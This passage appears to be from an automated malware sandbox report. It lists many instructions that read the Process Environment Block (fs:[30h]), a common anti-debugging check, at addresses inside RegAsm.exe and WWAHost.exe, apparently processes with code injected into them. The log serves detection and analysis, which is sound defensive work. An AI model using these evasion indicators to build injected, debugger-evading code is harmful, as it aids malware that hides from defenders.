Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02996DC9 mov eax, dword ptr fs:[00000030h] 15_2_02996DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02996DC9 mov ecx, dword ptr fs:[00000030h] 15_2_02996DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02996DC9 mov eax, dword ptr fs:[00000030h] 15_2_02996DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02996DC9 mov eax, dword ptr fs:[00000030h] 15_2_02996DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029C8DF1 mov eax, dword ptr fs:[00000030h] 15_2_029C8DF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0292D5E0 mov eax, dword ptr fs:[00000030h] 15_2_0292D5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0292D5E0 mov eax, dword ptr fs:[00000030h] 15_2_0292D5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029DFDE2 mov eax, dword ptr fs:[00000030h] 15_2_029DFDE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029DFDE2 mov eax, dword ptr fs:[00000030h] 15_2_029DFDE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029DFDE2 mov eax, dword ptr fs:[00000030h] 15_2_029DFDE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029DFDE2 mov eax, dword ptr fs:[00000030h] 15_2_029DFDE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0291AD30 mov eax, dword ptr fs:[00000030h] 15_2_0291AD30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029DE539 mov eax, dword ptr fs:[00000030h] 15_2_029DE539
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02923D34 mov eax, dword ptr fs:[00000030h] 15_2_02923D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02923D34 mov eax, dword ptr fs:[00000030h] 15_2_02923D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02923D34 mov eax, dword ptr fs:[00000030h] 15_2_02923D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02923D34 mov eax, dword ptr fs:[00000030h] 15_2_02923D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02923D34 mov eax, dword ptr fs:[00000030h] 15_2_02923D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02923D34 mov eax, dword ptr fs:[00000030h] 15_2_02923D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02923D34 mov eax, dword ptr fs:[00000030h] 15_2_02923D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02923D34 mov eax, dword ptr fs:[00000030h] 15_2_02923D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02923D34 mov eax, dword ptr fs:[00000030h] 15_2_02923D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02923D34 mov eax, dword ptr fs:[00000030h] 15_2_02923D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02923D34 mov eax, dword ptr fs:[00000030h] 15_2_02923D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02923D34 mov eax, dword ptr fs:[00000030h] 15_2_02923D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02923D34 mov eax, dword ptr fs:[00000030h] 15_2_02923D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E8D34 mov eax, dword ptr fs:[00000030h] 15_2_029E8D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0299A537 mov eax, dword ptr fs:[00000030h] 15_2_0299A537
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02944D3B mov eax, dword ptr fs:[00000030h] 15_2_02944D3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02944D3B mov eax, dword ptr fs:[00000030h] 15_2_02944D3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02944D3B mov eax, dword ptr fs:[00000030h] 15_2_02944D3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02937D50 mov eax, dword ptr fs:[00000030h] 15_2_02937D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02953D43 mov eax, dword ptr fs:[00000030h] 15_2_02953D43
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02993540 mov eax, dword ptr fs:[00000030h] 15_2_02993540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029C3D40 mov eax, dword ptr fs:[00000030h] 15_2_029C3D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0293C577 mov eax, dword ptr fs:[00000030h] 15_2_0293C577
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0293C577 mov eax, dword ptr fs:[00000030h] 15_2_0293C577
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D6C0A mov eax, dword ptr fs:[00000030h] 27_2_040D6C0A
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D6C0A mov eax, dword ptr fs:[00000030h] 27_2_040D6C0A
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D6C0A mov eax, dword ptr fs:[00000030h] 27_2_040D6C0A
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D6C0A mov eax, dword ptr fs:[00000030h] 27_2_040D6C0A
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04111C06 mov eax, dword ptr fs:[00000030h] 27_2_04111C06
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04111C06 mov eax, dword ptr fs:[00000030h] 27_2_04111C06
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04111C06 mov eax, dword ptr fs:[00000030h] 27_2_04111C06
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04111C06 mov eax, dword ptr fs:[00000030h] 27_2_04111C06
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04111C06 mov eax, dword ptr fs:[00000030h] 27_2_04111C06
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04111C06 mov eax, dword ptr fs:[00000030h] 27_2_04111C06
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04111C06 mov eax, dword ptr fs:[00000030h] 27_2_04111C06
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04111C06 mov eax, dword ptr fs:[00000030h] 27_2_04111C06
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04111C06 mov eax, dword ptr fs:[00000030h] 27_2_04111C06
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04111C06 mov eax, dword ptr fs:[00000030h] 27_2_04111C06
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04111C06 mov eax, dword ptr fs:[00000030h] 27_2_04111C06
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04111C06 mov eax, dword ptr fs:[00000030h] 27_2_04111C06
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04111C06 mov eax, dword ptr fs:[00000030h] 27_2_04111C06
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04111C06 mov eax, dword ptr fs:[00000030h] 27_2_04111C06
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0412740D mov eax, dword ptr fs:[00000030h] 27_2_0412740D
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0412740D mov eax, dword ptr fs:[00000030h] 27_2_0412740D
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0412740D mov eax, dword ptr fs:[00000030h] 27_2_0412740D
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408BC2C mov eax, dword ptr fs:[00000030h] 27_2_0408BC2C
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408A44B mov eax, dword ptr fs:[00000030h] 27_2_0408A44B
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040EC450 mov eax, dword ptr fs:[00000030h] 27_2_040EC450
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040EC450 mov eax, dword ptr fs:[00000030h] 27_2_040EC450
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407746D mov eax, dword ptr fs:[00000030h] 27_2_0407746D
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0406849B mov eax, dword ptr fs:[00000030h] 27_2_0406849B
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04128CD6 mov eax, dword ptr fs:[00000030h] 27_2_04128CD6
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_041114FB mov eax, dword ptr fs:[00000030h] 27_2_041114FB
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D6CF0 mov eax, dword ptr fs:[00000030h] 27_2_040D6CF0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D6CF0 mov eax, dword ptr fs:[00000030h] 27_2_040D6CF0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D6CF0 mov eax, dword ptr fs:[00000030h] 27_2_040D6CF0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04128D34 mov eax, dword ptr fs:[00000030h] 27_2_04128D34
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0411E539 mov eax, dword ptr fs:[00000030h] 27_2_0411E539
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04063D34 mov eax, dword ptr fs:[00000030h] 27_2_04063D34
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04063D34 mov eax, dword ptr fs:[00000030h] 27_2_04063D34
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04063D34 mov eax, dword ptr fs:[00000030h] 27_2_04063D34
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04063D34 mov eax, dword ptr fs:[00000030h] 27_2_04063D34
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04063D34 mov eax, dword ptr fs:[00000030h] 27_2_04063D34
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04063D34 mov eax, dword ptr fs:[00000030h] 27_2_04063D34
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04063D34 mov eax, dword ptr fs:[00000030h] 27_2_04063D34
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04063D34 mov eax, dword ptr fs:[00000030h] 27_2_04063D34
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04063D34 mov eax, dword ptr fs:[00000030h] 27_2_04063D34
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04063D34 mov eax, dword ptr fs:[00000030h] 27_2_04063D34
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04063D34 mov eax, dword ptr fs:[00000030h] 27_2_04063D34
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04063D34 mov eax, dword ptr fs:[00000030h] 27_2_04063D34
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04063D34 mov eax, dword ptr fs:[00000030h] 27_2_04063D34
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04084D3B mov eax, dword ptr fs:[00000030h] 27_2_04084D3B
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04084D3B mov eax, dword ptr fs:[00000030h] 27_2_04084D3B
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04084D3B mov eax, dword ptr fs:[00000030h] 27_2_04084D3B
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0405AD30 mov eax, dword ptr fs:[00000030h] 27_2_0405AD30
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040DA537 mov eax, dword ptr fs:[00000030h] 27_2_040DA537
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04093D43 mov eax, dword ptr fs:[00000030h] 27_2_04093D43
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D3540 mov eax, dword ptr fs:[00000030h] 27_2_040D3540
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04103D40 mov eax, dword ptr fs:[00000030h] 27_2_04103D40
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04077D50 mov eax, dword ptr fs:[00000030h] 27_2_04077D50
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407C577 mov eax, dword ptr fs:[00000030h] 27_2_0407C577
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407C577 mov eax, dword ptr fs:[00000030h] 27_2_0407C577
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04082581 mov eax, dword ptr fs:[00000030h] 27_2_04082581
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04082581 mov eax, dword ptr fs:[00000030h] 27_2_04082581
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04082581 mov eax, dword ptr fs:[00000030h] 27_2_04082581
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04082581 mov eax, dword ptr fs:[00000030h] 27_2_04082581
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04052D8A mov eax, dword ptr fs:[00000030h] 27_2_04052D8A
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04052D8A mov eax, dword ptr fs:[00000030h] 27_2_04052D8A
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04052D8A mov eax, dword ptr fs:[00000030h] 27_2_04052D8A
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04052D8A mov eax, dword ptr fs:[00000030h] 27_2_04052D8A
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04052D8A mov eax, dword ptr fs:[00000030h] 27_2_04052D8A
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408FD9B mov eax, dword ptr fs:[00000030h] 27_2_0408FD9B
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408FD9B mov eax, dword ptr fs:[00000030h] 27_2_0408FD9B
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040835A1 mov eax, dword ptr fs:[00000030h] 27_2_040835A1
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04081DB5 mov eax, dword ptr fs:[00000030h] 27_2_04081DB5
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04081DB5 mov eax, dword ptr fs:[00000030h] 27_2_04081DB5
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04081DB5 mov eax, dword ptr fs:[00000030h] 27_2_04081DB5
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_041205AC mov eax, dword ptr fs:[00000030h] 27_2_041205AC
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_041205AC mov eax, dword ptr fs:[00000030h] 27_2_041205AC
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D6DC9 mov eax, dword ptr fs:[00000030h] 27_2_040D6DC9
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D6DC9 mov eax, dword ptr fs:[00000030h] 27_2_040D6DC9
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D6DC9 mov eax, dword ptr fs:[00000030h] 27_2_040D6DC9
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D6DC9 mov ecx, dword ptr fs:[00000030h] 27_2_040D6DC9
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D6DC9 mov eax, dword ptr fs:[00000030h] 27_2_040D6DC9
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D6DC9 mov eax, dword ptr fs:[00000030h] 27_2_040D6DC9
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04108DF1 mov eax, dword ptr fs:[00000030h] 27_2_04108DF1
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0406D5E0 mov eax, dword ptr fs:[00000030h] 27_2_0406D5E0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0406D5E0 mov eax, dword ptr fs:[00000030h] 27_2_0406D5E0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0411FDE2 mov eax, dword ptr fs:[00000030h] 27_2_0411FDE2
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0411FDE2 mov eax, dword ptr fs:[00000030h] 27_2_0411FDE2
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0411FDE2 mov eax, dword ptr fs:[00000030h] 27_2_0411FDE2
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0411FDE2 mov eax, dword ptr fs:[00000030h] 27_2_0411FDE2
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0405C600 mov eax, dword ptr fs:[00000030h] 27_2_0405C600
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0405C600 mov eax, dword ptr fs:[00000030h] 27_2_0405C600
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0405C600 mov eax, dword ptr fs:[00000030h] 27_2_0405C600
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04088E00 mov eax, dword ptr fs:[00000030h] 27_2_04088E00
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408A61C mov eax, dword ptr fs:[00000030h] 27_2_0408A61C
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408A61C mov eax, dword ptr fs:[00000030h] 27_2_0408A61C
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04111608 mov eax, dword ptr fs:[00000030h] 27_2_04111608
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0405E620 mov eax, dword ptr fs:[00000030h] 27_2_0405E620
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0410FE3F mov eax, dword ptr fs:[00000030h] 27_2_0410FE3F
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04067E41 mov eax, dword ptr fs:[00000030h] 27_2_04067E41
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04067E41 mov eax, dword ptr fs:[00000030h] 27_2_04067E41
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04067E41 mov eax, dword ptr fs:[00000030h] 27_2_04067E41
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04067E41 mov eax, dword ptr fs:[00000030h] 27_2_04067E41
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04067E41 mov eax, dword ptr fs:[00000030h] 27_2_04067E41
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04067E41 mov eax, dword ptr fs:[00000030h] 27_2_04067E41
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0411AE44 mov eax, dword ptr fs:[00000030h] 27_2_0411AE44
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0411AE44 mov eax, dword ptr fs:[00000030h] 27_2_0411AE44
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0406766D mov eax, dword ptr fs:[00000030h] 27_2_0406766D
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407AE73 mov eax, dword ptr fs:[00000030h] 27_2_0407AE73
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407AE73 mov eax, dword ptr fs:[00000030h] 27_2_0407AE73
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407AE73 mov eax, dword ptr fs:[00000030h] 27_2_0407AE73
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407AE73 mov eax, dword ptr fs:[00000030h] 27_2_0407AE73
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407AE73 mov eax, dword ptr fs:[00000030h] 27_2_0407AE73
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040EFE87 mov eax, dword ptr fs:[00000030h] 27_2_040EFE87
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D46A7 mov eax, dword ptr fs:[00000030h] 27_2_040D46A7
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04120EA5 mov eax, dword ptr fs:[00000030h] 27_2_04120EA5
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04120EA5 mov eax, dword ptr fs:[00000030h] 27_2_04120EA5
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04120EA5 mov eax, dword ptr fs:[00000030h] 27_2_04120EA5
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04128ED6 mov eax, dword ptr fs:[00000030h] 27_2_04128ED6
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040836CC mov eax, dword ptr fs:[00000030h] 27_2_040836CC
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04098EC7 mov eax, dword ptr fs:[00000030h] 27_2_04098EC7
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0410FEC0 mov eax, dword ptr fs:[00000030h] 27_2_0410FEC0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040676E2 mov eax, dword ptr fs:[00000030h] 27_2_040676E2
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040816E0 mov ecx, dword ptr fs:[00000030h] 27_2_040816E0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408A70E mov eax, dword ptr fs:[00000030h] 27_2_0408A70E
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408A70E mov eax, dword ptr fs:[00000030h] 27_2_0408A70E
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407F716 mov eax, dword ptr fs:[00000030h] 27_2_0407F716
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040EFF10 mov eax, dword ptr fs:[00000030h] 27_2_040EFF10
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040EFF10 mov eax, dword ptr fs:[00000030h] 27_2_040EFF10
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0412070D mov eax, dword ptr fs:[00000030h] 27_2_0412070D
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0412070D mov eax, dword ptr fs:[00000030h] 27_2_0412070D
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04054F2E mov eax, dword ptr fs:[00000030h] 27_2_04054F2E
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04054F2E mov eax, dword ptr fs:[00000030h] 27_2_04054F2E
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408E730 mov eax, dword ptr fs:[00000030h] 27_2_0408E730
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407B73D mov eax, dword ptr fs:[00000030h] 27_2_0407B73D
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407B73D mov eax, dword ptr fs:[00000030h] 27_2_0407B73D
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0406EF40 mov eax, dword ptr fs:[00000030h] 27_2_0406EF40
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0406FF60 mov eax, dword ptr fs:[00000030h] 27_2_0406FF60
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04128F6A mov eax, dword ptr fs:[00000030h] 27_2_04128F6A
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04068794 mov eax, dword ptr fs:[00000030h] 27_2_04068794
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D7794 mov eax, dword ptr fs:[00000030h] 27_2_040D7794
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D7794 mov eax, dword ptr fs:[00000030h] 27_2_040D7794
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D7794 mov eax, dword ptr fs:[00000030h] 27_2_040D7794
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040937F5 mov eax, dword ptr fs:[00000030h] 27_2_040937F5
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04124015 mov eax, dword ptr fs:[00000030h] 27_2_04124015
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04124015 mov eax, dword ptr fs:[00000030h] 27_2_04124015
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D7016 mov eax, dword ptr fs:[00000030h] 27_2_040D7016
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D7016 mov eax, dword ptr fs:[00000030h] 27_2_040D7016
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D7016 mov eax, dword ptr fs:[00000030h] 27_2_040D7016
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408002D mov eax, dword ptr fs:[00000030h] 27_2_0408002D
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408002D mov eax, dword ptr fs:[00000030h] 27_2_0408002D
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408002D mov eax, dword ptr fs:[00000030h] 27_2_0408002D
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408002D mov eax, dword ptr fs:[00000030h] 27_2_0408002D
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408002D mov eax, dword ptr fs:[00000030h] 27_2_0408002D
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0406B02A mov eax, dword ptr fs:[00000030h] 27_2_0406B02A
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0406B02A mov eax, dword ptr fs:[00000030h] 27_2_0406B02A
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0406B02A mov eax, dword ptr fs:[00000030h] 27_2_0406B02A
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0406B02A mov eax, dword ptr fs:[00000030h] 27_2_0406B02A
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407A830 mov eax, dword ptr fs:[00000030h] 27_2_0407A830
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407A830 mov eax, dword ptr fs:[00000030h] 27_2_0407A830
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407A830 mov eax, dword ptr fs:[00000030h] 27_2_0407A830
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407A830 mov eax, dword ptr fs:[00000030h] 27_2_0407A830
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04070050 mov eax, dword ptr fs:[00000030h] 27_2_04070050
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04070050 mov eax, dword ptr fs:[00000030h] 27_2_04070050
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04112073 mov eax, dword ptr fs:[00000030h] 27_2_04112073
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04121074 mov eax, dword ptr fs:[00000030h] 27_2_04121074
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04059080 mov eax, dword ptr fs:[00000030h] 27_2_04059080
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D3884 mov eax, dword ptr fs:[00000030h] 27_2_040D3884
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040D3884 mov eax, dword ptr fs:[00000030h] 27_2_040D3884
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040990AF mov eax, dword ptr fs:[00000030h] 27_2_040990AF
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040820A0 mov eax, dword ptr fs:[00000030h] 27_2_040820A0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040820A0 mov eax, dword ptr fs:[00000030h] 27_2_040820A0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040820A0 mov eax, dword ptr fs:[00000030h] 27_2_040820A0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040820A0 mov eax, dword ptr fs:[00000030h] 27_2_040820A0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040820A0 mov eax, dword ptr fs:[00000030h] 27_2_040820A0
